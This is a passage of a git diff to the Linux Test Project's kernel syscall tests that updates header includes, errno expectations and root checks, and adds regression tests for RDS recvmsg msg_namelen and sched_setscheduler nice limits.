 #ifndef UCLINUX
 	{&fd3, &outside_buf, 1, EFAULT},
 #endif
diff --git a/testcases/kernel/syscalls/read/read03.c b/testcases/kernel/syscalls/read/read03.c
index e8b3bbd..28554f5 100644
--- a/testcases/kernel/syscalls/read/read03.c
+++ b/testcases/kernel/syscalls/read/read03.c
@@ -90,7 +90,7 @@
 			tst_resm(TFAIL, "read set bad errno, expected "
 				 "EAGAIN, got %d", TEST_ERRNO);
 		} else {
-			tst_resm(TINFO, "read() succeded in setting errno to "
+			tst_resm(TPASS, "read() succeded in setting errno to "
 				 "EAGAIN");
 		}
 	}
diff --git a/testcases/kernel/syscalls/readahead/readahead02.c b/testcases/kernel/syscalls/readahead/readahead02.c
index dc8805d..e2eb8bc 100644
--- a/testcases/kernel/syscalls/readahead/readahead02.c
+++ b/testcases/kernel/syscalls/readahead/readahead02.c
@@ -81,7 +81,7 @@
 			 "returned value = %ld", TEST_RETURN);
 		return 0;
 	}
-	tst_resm(TFAIL, "unexpected failure - "
+	tst_resm(TFAIL | TTERRNO, "unexpected failure - "
 		 "returned value = %ld, expected: %ld",
 		 TEST_RETURN, expected_ret);
 	return 1;
diff --git a/testcases/kernel/syscalls/readlink/readlink02.c b/testcases/kernel/syscalls/readlink/readlink02.c
index c73fc67..218a6e3 100644
--- a/testcases/kernel/syscalls/readlink/readlink02.c
+++ b/testcases/kernel/syscalls/readlink/readlink02.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/readlink/readlink03.c b/testcases/kernel/syscalls/readlink/readlink03.c
index 9726be4..0106621 100644
--- a/testcases/kernel/syscalls/readlink/readlink03.c
+++ b/testcases/kernel/syscalls/readlink/readlink03.c
@@ -39,7 +39,7 @@
 
 #include <stdio.h>
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/readlink/readlink04.c b/testcases/kernel/syscalls/readlink/readlink04.c
index 4980834..62cc9e4 100644
--- a/testcases/kernel/syscalls/readlink/readlink04.c
+++ b/testcases/kernel/syscalls/readlink/readlink04.c
@@ -34,7 +34,7 @@
 #include <pwd.h>
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/wait.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/readlinkat/readlinkat01.c b/testcases/kernel/syscalls/readlinkat/readlinkat01.c
index 97a49e8..985890e 100644
--- a/testcases/kernel/syscalls/readlinkat/readlinkat01.c
+++ b/testcases/kernel/syscalls/readlinkat/readlinkat01.c
@@ -29,7 +29,6 @@
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/readv/readv01.c b/testcases/kernel/syscalls/readv/readv01.c
index d540a2e..82fec39 100644
--- a/testcases/kernel/syscalls/readv/readv01.c
+++ b/testcases/kernel/syscalls/readv/readv01.c
@@ -29,7 +29,7 @@
 #include <stdlib.h>
 #include <sys/types.h>
 #include <sys/uio.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <memory.h>
 #include <errno.h>
 
diff --git a/testcases/kernel/syscalls/readv/readv02.c b/testcases/kernel/syscalls/readv/readv02.c
index b5f826c..d8b1981 100644
--- a/testcases/kernel/syscalls/readv/readv02.c
+++ b/testcases/kernel/syscalls/readv/readv02.c
@@ -41,7 +41,7 @@
  */
 #include <sys/types.h>
 #include <sys/uio.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/mman.h>
 #include <memory.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/readv/readv03.c b/testcases/kernel/syscalls/readv/readv03.c
index 79aebe0..7896d91 100644
--- a/testcases/kernel/syscalls/readv/readv03.c
+++ b/testcases/kernel/syscalls/readv/readv03.c
@@ -49,7 +49,7 @@
  */
 #include <sys/types.h>
 #include <sys/uio.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <sys/stat.h>
diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg02.c b/testcases/kernel/syscalls/recvmsg/recvmsg02.c
index fd21092..9ed520b 100644
--- a/testcases/kernel/syscalls/recvmsg/recvmsg02.c
+++ b/testcases/kernel/syscalls/recvmsg/recvmsg02.c
@@ -98,11 +98,11 @@
 
 static void cleanup(void)
 {
-	if (sdw > 0 && close(sdw))
-		tst_res(TWARN | TERRNO, "close(sdw) failed");
+	if (sdw > 0)
+		SAFE_CLOSE(sdw);
 
-	if (sdr > 0 && close(sdr))
-		tst_res(TWARN | TERRNO, "close(sdr) failed");
+	if (sdr > 0)
+		SAFE_CLOSE(sdr);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/recvmsg/recvmsg03.c b/testcases/kernel/syscalls/recvmsg/recvmsg03.c
new file mode 100644
index 0000000..bee9c12
--- /dev/null
+++ b/testcases/kernel/syscalls/recvmsg/recvmsg03.c
@@ -0,0 +1,163 @@
+/*
+ * Copyright(c) 2016 Fujitsu Ltd.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of version 2 of the GNU General Public License as
+ * published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it would be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ *
+ * You should have received a copy of the GNU General Public License
+ * alone with this program.
+ */
+
+/*
+ * Test Name: recvmsg03
+ *
+ * This test needs that rds socket is supported by system.
+ * If the size of address for receiving data is set larger than
+ * actaul size, recvmsg() will set msg_namelen incorrectly.
+ *
+ * Description:
+ * This is a regression test and has been fixed by kernel commit:
+ * 06b6a1cf6e776426766298d055bb3991957d90a7 (rds: set correct msg_namelen)
+ */
+
+#include <errno.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/socket.h>
+
+#include "tst_test.h"
+
+#ifndef AF_RDS
+# define AF_RDS 21
+#endif
+
+static void setup(void)
+{
+	int res;
+
+	res = socket(AF_RDS, SOCK_SEQPACKET, 0);
+	if (res == -1) {
+		if (errno == EAFNOSUPPORT)
+			tst_brk(TCONF, "rds was not supported");
+		else
+			tst_brk(TBROK | TERRNO, "socket() failed with rds");
+	}
+
+	SAFE_CLOSE(res);
+}
+
+static void client(void)
+{
+	int sock_fd1;
+	char send_buf[128] = "hello world";
+	struct sockaddr_in server_addr;
+	struct sockaddr_in to_addr;
+	struct msghdr msg;
+	struct iovec iov;
+
+	sock_fd1 = SAFE_SOCKET(AF_RDS, SOCK_SEQPACKET, 0);
+
+	memset(&server_addr, 0, sizeof(server_addr));
+	server_addr.sin_family = AF_INET;
+	server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	server_addr.sin_port = htons(4001);
+
+	SAFE_BIND(sock_fd1, (struct sockaddr *) &server_addr, sizeof(server_addr));
+
+	memset(&to_addr, 0, sizeof(to_addr));
+
+	to_addr.sin_family = AF_INET;
+	to_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	to_addr.sin_port = htons(4000);
+	msg.msg_name = &to_addr;
+	msg.msg_namelen = sizeof(to_addr);
+	msg.msg_iov = &iov;
+	msg.msg_iovlen = 1;
+	msg.msg_iov->iov_base = send_buf;
+	msg.msg_iov->iov_len = strlen(send_buf) + 1;
+	msg.msg_control = 0;
+	msg.msg_controllen = 0;
+	msg.msg_flags = 0;
+
+	if (sendmsg(sock_fd1, &msg, 0) == -1) {
+		tst_brk(TBROK | TERRNO,
+			"sendmsg() failed to send data to server");
+	}
+
+	SAFE_CLOSE(sock_fd1);
+}
+
+static void server(void)
+{
+	int sock_fd2;
+	static char recv_buf[128];
+	struct sockaddr_in server_addr;
+	struct sockaddr_in from_addr;
+	struct msghdr msg;
+	struct iovec iov;
+
+	sock_fd2 = SAFE_SOCKET(AF_RDS, SOCK_SEQPACKET, 0);
+
+	memset(&server_addr, 0, sizeof(server_addr));
+	server_addr.sin_family = AF_INET;
+	server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
+	server_addr.sin_port = htons(4000);
+
+	SAFE_BIND(sock_fd2, (struct sockaddr *) &server_addr, sizeof(server_addr));
+
+	msg.msg_name = &from_addr;
+	msg.msg_namelen = sizeof(from_addr) + 16;
+	msg.msg_iov = &iov;
+	msg.msg_iovlen = 1;
+	msg.msg_iov->iov_base = recv_buf;
+	msg.msg_iov->iov_len = 128;
+	msg.msg_control = 0;
+	msg.msg_controllen = 0;
+	msg.msg_flags = 0;
+
+	TST_CHECKPOINT_WAKE(0);
+
+	TEST(recvmsg(sock_fd2, &msg, 0));
+	if (TEST_RETURN == -1) {
+		tst_brk(TBROK | TTERRNO,
+		"recvmsg() failed to recvice data from client");
+	}
+
+	if (msg.msg_namelen != sizeof(from_addr)) {
+		tst_res(TFAIL, "msg_namelen was set to %u incorrectly, "
+			"expected %lu", msg.msg_namelen, sizeof(from_addr));
+	} else {
+		tst_res(TPASS, "msg_namelen was set to %u correctly",
+			msg.msg_namelen);
+	}
+
+	SAFE_CLOSE(sock_fd2);
+}
+
+static void verify_recvmsg(void)
+{
+	pid_t pid;
+
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		TST_CHECKPOINT_WAIT(0);
+		client();
+	} else {
+		server();
+		tst_reap_children();
+	}
+}
+
+static struct tst_test test = {
+	.tid = "recvmsg03",
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.test_all = verify_recvmsg
+};
diff --git a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c
index ddd537e..62b0966 100644
--- a/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c
+++ b/testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c
@@ -74,7 +74,7 @@
 #include <stdio.h>
 #include <unistd.h>
 #include <errno.h>
-#include <syscall.h>
+#include <sys/syscall.h>
 #include <linux/unistd.h>
 
 #include "test.h"		/*LTP Specific Include File */
diff --git a/testcases/kernel/syscalls/removexattr/removexattr01.c b/testcases/kernel/syscalls/removexattr/removexattr01.c
index 224065a..ddbcba6 100644
--- a/testcases/kernel/syscalls/removexattr/removexattr01.c
+++ b/testcases/kernel/syscalls/removexattr/removexattr01.c
@@ -27,8 +27,8 @@
 #include <errno.h>
 #include <sys/types.h>
 
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 
 #include "test.h"
@@ -36,7 +36,7 @@
 
 char *TCID = "removexattr01";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 #define USER_KEY	"user.test"
 #define VALUE	"test"
 #define VALUE_SIZE	(sizeof(VALUE) - 1)
@@ -93,7 +93,7 @@
 		return;
 	}
 
-	if (errno != ENOATTR) {
+	if (errno != ENODATA) {
 		tst_resm(TFAIL | TTERRNO, "getxattr() failed unexpectedly");
 	} else {
 		tst_resm(TPASS, "removexattr() succeeded");
@@ -116,9 +116,9 @@
 	tst_rmdir();
 }
 
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int ac, char **av)
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/removexattr/removexattr02.c b/testcases/kernel/syscalls/removexattr/removexattr02.c
index e811db2..399055c 100644
--- a/testcases/kernel/syscalls/removexattr/removexattr02.c
+++ b/testcases/kernel/syscalls/removexattr/removexattr02.c
@@ -23,7 +23,7 @@
 * 3) removexattr(2) fails when attempted to read from a invalid address.
 *
 * Expected Result:
-* 1) removexattr(2) should return -1 and set errno to ENOATTR.
+* 1) removexattr(2) should return -1 and set errno to ENODATA.
 * 2) removcxattr(2) should return -1 and set errno to ENOENT.
 * 3) removexattr(2) should return -1 and set errno to EFAULT.
 */
@@ -32,8 +32,8 @@
 #include <errno.h>
 #include <sys/types.h>
 
-#ifdef HAVE_ATTR_XATTR_H
-#include <attr/xattr.h>
+#ifdef HAVE_SYS_XATTR_H
+# include <sys/xattr.h>
 #endif
 
 #include "test.h"
@@ -41,7 +41,7 @@
 
 char *TCID = "removexattr02";
 
-#ifdef HAVE_ATTR_XATTR_H
+#ifdef HAVE_SYS_XATTR_H
 
 static struct test_case {
 	const char *path;
@@ -49,7 +49,7 @@
 	int exp_err;
 } tc[] = {
 	/* test1 */
-	{"testfile", "user.test", ENOATTR},
+	{"testfile", "user.test", ENODATA},
 	/* test2 */
 	{"", "user.test", ENOENT},
 	/* test3 */
@@ -120,9 +120,9 @@
 	tst_rmdir();
 }
 
-#else /* HAVE_ATTR_XATTR_H */
+#else /* HAVE_SYS_XATTR_H */
 int main(int ac, char **av)
 {
-	tst_brkm(TCONF, NULL, "<attr/xattr.h> does not exist.");
+	tst_brkm(TCONF, NULL, "<sys/xattr.h> does not exist.");
 }
 #endif
diff --git a/testcases/kernel/syscalls/rename/rename01.c b/testcases/kernel/syscalls/rename/rename01.c
index a1e3f96..f619732 100644
--- a/testcases/kernel/syscalls/rename/rename01.c
+++ b/testcases/kernel/syscalls/rename/rename01.c
@@ -66,7 +66,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename02.c b/testcases/kernel/syscalls/rename/rename02.c
index 304d530..51c278f 100644
--- a/testcases/kernel/syscalls/rename/rename02.c
+++ b/testcases/kernel/syscalls/rename/rename02.c
@@ -110,7 +110,7 @@
  *#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#*#**/
 
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <errno.h>
 #include <string.h>
 #include <signal.h>
diff --git a/testcases/kernel/syscalls/rename/rename03.c b/testcases/kernel/syscalls/rename/rename03.c
index 9040deb..1e89fea 100644
--- a/testcases/kernel/syscalls/rename/rename03.c
+++ b/testcases/kernel/syscalls/rename/rename03.c
@@ -63,7 +63,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename04.c b/testcases/kernel/syscalls/rename/rename04.c
index f3d6066..d9c373e 100644
--- a/testcases/kernel/syscalls/rename/rename04.c
+++ b/testcases/kernel/syscalls/rename/rename04.c
@@ -58,7 +58,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename05.c b/testcases/kernel/syscalls/rename/rename05.c
index 6302ae5..1082573 100644
--- a/testcases/kernel/syscalls/rename/rename05.c
+++ b/testcases/kernel/syscalls/rename/rename05.c
@@ -56,7 +56,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename06.c b/testcases/kernel/syscalls/rename/rename06.c
index b9c55c8..b4bdda6 100644
--- a/testcases/kernel/syscalls/rename/rename06.c
+++ b/testcases/kernel/syscalls/rename/rename06.c
@@ -57,7 +57,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename07.c b/testcases/kernel/syscalls/rename/rename07.c
index 6494967..b483a1c 100644
--- a/testcases/kernel/syscalls/rename/rename07.c
+++ b/testcases/kernel/syscalls/rename/rename07.c
@@ -39,7 +39,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename08.c b/testcases/kernel/syscalls/rename/rename08.c
index de2c035..2efdfd3 100644
--- a/testcases/kernel/syscalls/rename/rename08.c
+++ b/testcases/kernel/syscalls/rename/rename08.c
@@ -65,7 +65,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/mman.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename10.c b/testcases/kernel/syscalls/rename/rename10.c
index 4b656b0..4f09333 100644
--- a/testcases/kernel/syscalls/rename/rename10.c
+++ b/testcases/kernel/syscalls/rename/rename10.c
@@ -60,7 +60,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <unistd.h>
 #include <errno.h>
 
diff --git a/testcases/kernel/syscalls/rename/rename13.c b/testcases/kernel/syscalls/rename/rename13.c
index 7a791f0..a42beba 100644
--- a/testcases/kernel/syscalls/rename/rename13.c
+++ b/testcases/kernel/syscalls/rename/rename13.c
@@ -59,7 +59,7 @@
  *	None.
  */
 #include <sys/types.h>
-#include <sys/fcntl.h>
+#include <fcntl.h>
 #include <sys/stat.h>
 #include <unistd.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/rename/rename14.c b/testcases/kernel/syscalls/rename/rename14.c
index 0d821ba..726b35c 100644
--- a/testcases/kernel/syscalls/rename/rename14.c
+++ b/testcases/kernel/syscalls/rename/rename14.c
@@ -38,12 +38,11 @@
 #include <signal.h>
 #include <stdlib.h>
 #include <unistd.h>
-#include <wait.h>
+#include <sys/wait.h>
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <fcntl.h>
 
-/** LTP Port **/
 #include "test.h"
 
 #define FAILED 0
@@ -53,30 +52,25 @@
 
 char *TCID = "rename14";
 int TST_TOTAL = 1;
-/**************/
 
-#define RUNTIME	45
+#define RUNTIME	5
 
 int kidpid[2];
 int parent_pid;
 
+int term(void);
+int al(void);
+void dochild1(void);
+void dochild2(void);
+
 int main(int argc, char *argv[])
 {
 	int pid;
 	sigset_t set;
 	struct sigaction act, oact;
-	int term();
-	int al();
-	void dochild1();
-	void dochild2();
-
-#ifdef UCLINUX
 
 	tst_parse_opts(argc, argv, NULL, NULL);
 
-	maybe_run_child(&dochild1, "n", 1);
-	maybe_run_child(&dochild2, "n", 2);
-#endif
 	sigemptyset(&set);
 	act.sa_handler = (void (*)())term;
 	act.sa_mask = set;
@@ -94,21 +88,13 @@
 	}
 	parent_pid = getpid();
 	tst_tmpdir();
-/*--------------------------------------------------------------*/
 
 	pid = FORK_OR_VFORK();
-	if (pid < 0) {
+	if (pid < 0)
 		tst_brkm(TBROK, NULL, "fork() returned %d", pid);
-	}
-	if (pid == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv[0], "n", 1) < 0) {
-			tst_resm(TBROK, "self_exec failed");
-		}
-#else
+	if (pid == 0)
 		dochild1();
-#endif
-	}
+
 	kidpid[0] = pid;
 	pid = FORK_OR_VFORK();
 	if (pid < 0) {
@@ -116,15 +102,9 @@
 		(void)unlink("./rename14");
 		tst_brkm(TBROK, NULL, "fork() returned %d", pid);
 	}
-	if (pid == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv[0], "n", 1) < 0) {
-			tst_resm(TBROK, "self_exec failed");
-		}
-#else
+	if (pid == 0)
 		dochild2();
-#endif
-	}
+
 	kidpid[1] = pid;
 
 	alarm(RUNTIME);
@@ -148,8 +128,6 @@
 	tst_exit();
 }
 
-/* FUNCTIONS GO HERE */
-
 int term(void)
 {
 	if (parent_pid != getpid())
@@ -183,7 +161,6 @@
 
 void dochild2(void)
 {
-	for (;;) {
+	for (;;)
 		rename("./rename14", "./rename14xyz");
-	}
 }
diff --git a/testcases/kernel/syscalls/renameat/renameat01.c b/testcases/kernel/syscalls/renameat/renameat01.c
index 18b83d8..f6797da 100644
--- a/testcases/kernel/syscalls/renameat/renameat01.c
+++ b/testcases/kernel/syscalls/renameat/renameat01.c
@@ -42,7 +42,6 @@
 #include <sys/stat.h>
 #include <sys/time.h>
 #include <fcntl.h>
-#include <error.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
diff --git a/testcases/kernel/syscalls/request_key/request_key01.c b/testcases/kernel/syscalls/request_key/request_key01.c
index 3b7bc36..583ecdc 100644
--- a/testcases/kernel/syscalls/request_key/request_key01.c
+++ b/testcases/kernel/syscalls/request_key/request_key01.c
@@ -43,7 +43,7 @@
 
 	TEST(request_key("keyring", "ltp", NULL, KEY_REQKEY_DEFL_DEFAULT));
 	if (TEST_RETURN == -1) {
-		tst_res(TFAIL | TERRNO, "request_key() failed");
+		tst_res(TFAIL | TTERRNO, "request_key() failed");
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c b/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
index dec6e41..ceec4c3 100644
--- a/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
+++ b/testcases/kernel/syscalls/sched_getparam/sched_getparam03.c
@@ -70,10 +70,9 @@
  *
  *********************************************************************/
 
-#include "test.h"
-
 #include <errno.h>
 #include <sched.h>
+#include "test.h"
 
 #define LARGE_PID 999999
 
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
index 7527c43..b6084f6 100644
--- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval01.c
@@ -115,6 +115,7 @@
 /* setup() - performs all ONE TIME setup for this test */
 void setup(void)
 {
+	tst_require_root();
 	/*
 	 * Initialize scheduling parameter structure to use with
 	 * sched_setscheduler()
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
index 5410176..6bf743f 100644
--- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval02.c
@@ -119,6 +119,7 @@
 /* setup() - performs all ONE TIME setup for this test */
 void setup(void)
 {
+	tst_require_root();
 	/*
 	 * Initialize scheduling parameter structure to use with
 	 * sched_setscheduler()
diff --git a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
index c9686ad..56f2fcf 100644
--- a/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
+++ b/testcases/kernel/syscalls/sched_rr_get_interval/sched_rr_get_interval03.c
@@ -142,6 +142,7 @@
 /* setup() - performs all ONE TIME setup for this test */
 void setup(void)
 {
+	tst_require_root();
 	/*
 	 * Initialize scheduling parameter structure to use with
 	 * sched_setscheduler()
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
index 9321a4e..132cc9d 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam02.c
@@ -145,6 +145,7 @@
 /* setup() - performs all ONE TIME setup for this test */
 void setup(void)
 {
+	tst_require_root();
 
 	tst_sig(NOFORK, DEF_HANDLER, cleanup);
 
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
index 127a74f..252364e 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam03.c
@@ -152,6 +152,8 @@
 {
 	struct sched_param p = { 1 };
 
+	tst_require_root();
+
 	tst_sig(FORK, DEF_HANDLER, cleanup);
 
 	TEST_PAUSE;
diff --git a/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c b/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
index 3da1120..f6e017d 100644
--- a/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
+++ b/testcases/kernel/syscalls/sched_setparam/sched_setparam04.c
@@ -73,11 +73,10 @@
  *
  *********************************************************************/
 
-#include "test.h"
-
 #include <errno.h>
 #include <sched.h>
 #include <pwd.h>
+#include "test.h"
 
 static void cleanup(void);
 static void setup(void);
diff --git a/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
new file mode 100644
index 0000000..8fcb65e
--- /dev/null
+++ b/testcases/kernel/syscalls/sched_setscheduler/sched_setscheduler03.c
@@ -0,0 +1,181 @@
+/*
+ * Copyright (c) 2016 Linux Test Project.
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * A regression test for can_nice call usage in sched_setscheduler,
+ * introduced by kernel commit:
+ *    d50dde5a (sched: Add new scheduler syscalls to support
+ *
+ * This was fixed by below commit:
+ *    eaad4513 (sched: Fix __sched_setscheduler() nice test
+ *
+ */
+
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <errno.h>
+#include <pwd.h>
+#include <sched.h>
+#include <sys/time.h>
+#include <sys/resource.h>
+#include <sys/wait.h>
+#include <stdlib.h>
+
+#include "tst_test.h"
+
+#define RLIMIT_NICE_NORMAL 20
+
+static pid_t zero_pid;
+static struct sched_param param[1] = { {0} };
+
+struct test_case_t {
+	pid_t *pid;
+	int policy;
+	struct sched_param *sched_param;
+	int error;
+};
+
+struct test_case_t cases[] = {
+	{
+		.pid = &zero_pid,
+		.policy = SCHED_OTHER,
+		.sched_param = &param[0]
+	},
+	{
+		.pid = &zero_pid,
+		.policy = SCHED_BATCH,
+		.sched_param = &param[0]
+	},
+#ifdef SCHED_IDLE
+	{
+		.pid = &zero_pid,
+		.policy = SCHED_IDLE,
+		.sched_param = &param[0]
+	}
+#endif
+};
+
+static void l_rlimit_show(const int type, struct rlimit *limit)
+{
+	SAFE_GETRLIMIT(type, limit);
+	tst_res(TINFO,
+		"rlimit rlim_cur=%lu", (unsigned long)(limit->rlim_cur));
+	tst_res(TINFO,
+		"rlimit rlim_max=%lu", (unsigned long)(limit->rlim_max));
+}
+
+static void l_rlimit_setup(const int type, struct rlimit *limit)
+{
+	struct rlimit tmp_rlimit;
+
+	tst_res(TINFO,
+		"Setting rlim_cur to %lu", (unsigned long)(limit->rlim_cur));
+	tst_res(TINFO,
+		"Setting rlim_max to %lu", (unsigned long)(limit->rlim_max));
+
+	SAFE_SETRLIMIT(type, limit);
+
+	l_rlimit_show(RLIMIT_NICE, &tmp_rlimit);
+
+	if (tmp_rlimit.rlim_cur != limit->rlim_cur)
+		tst_brk(TBROK | TERRNO, "Expect rlim_cur = %lu, get %lu",
+				(unsigned long)(limit->rlim_cur),
+				(unsigned long)tmp_rlimit.rlim_cur);
+
+	if (tmp_rlimit.rlim_max != limit->rlim_max)
+		tst_brk(TBROK | TERRNO, "Expect rlim_max = %lu, get %lu",
+				(unsigned long)(limit->rlim_max),
+				(unsigned long)(tmp_rlimit.rlim_max));
+}
+
+static void verify_fn(unsigned int i)
+{
+	tst_res(TINFO,
+		"Verifying case[%d]: policy = %d, priority = %d",
+		i + 1, cases[i].policy, cases[i].sched_param->sched_priority);
+
+	TEST(sched_setscheduler(*cases[i].pid, cases[i].policy,
+					cases[i].sched_param));
+	if (TEST_RETURN)
+		tst_res(TFAIL | TTERRNO, "case[%d] expected: %d, got: ",
+			i + 1, cases[i].error);
+	else
+		tst_res(TPASS, "case[%d] succeeded", i + 1);
+}
+
+static void setup(void)
+{
+	uid_t ruid, euid, suid;
+	struct rlimit limit;
+	struct passwd *pw;
+	uid_t nobody_uid;
+
+	pw = SAFE_GETPWNAM("nobody");
+	nobody_uid = pw->pw_uid;
+	l_rlimit_show(RLIMIT_NICE, &limit);
+
+	/*
+	* nice rlimit ranges from 1 to 40, mapping to real nice
+	* value from 19 to -20. We set it to 19, as the default priority
+	* of process with fair policy is 120, which will be translated
+	* into nice 20, we make this RLIMIT_NICE smaller than that, to
+	* verify the can_nice usage issue.
+	*/
+	limit.rlim_cur = (RLIMIT_NICE_NORMAL - 1);
+	limit.rlim_max = (RLIMIT_NICE_NORMAL - 1);
+
+	l_rlimit_setup(RLIMIT_NICE, &limit);
+
+	tst_res(TINFO, "Setting init sched policy to SCHED_OTHER");
+	if (sched_setscheduler(0, SCHED_OTHER, &param[0]) != 0)
+		tst_res(TBROK | TERRNO,
+			 "ERROR sched_setscheduler: (0, SCHED_OTHER, param)");
+
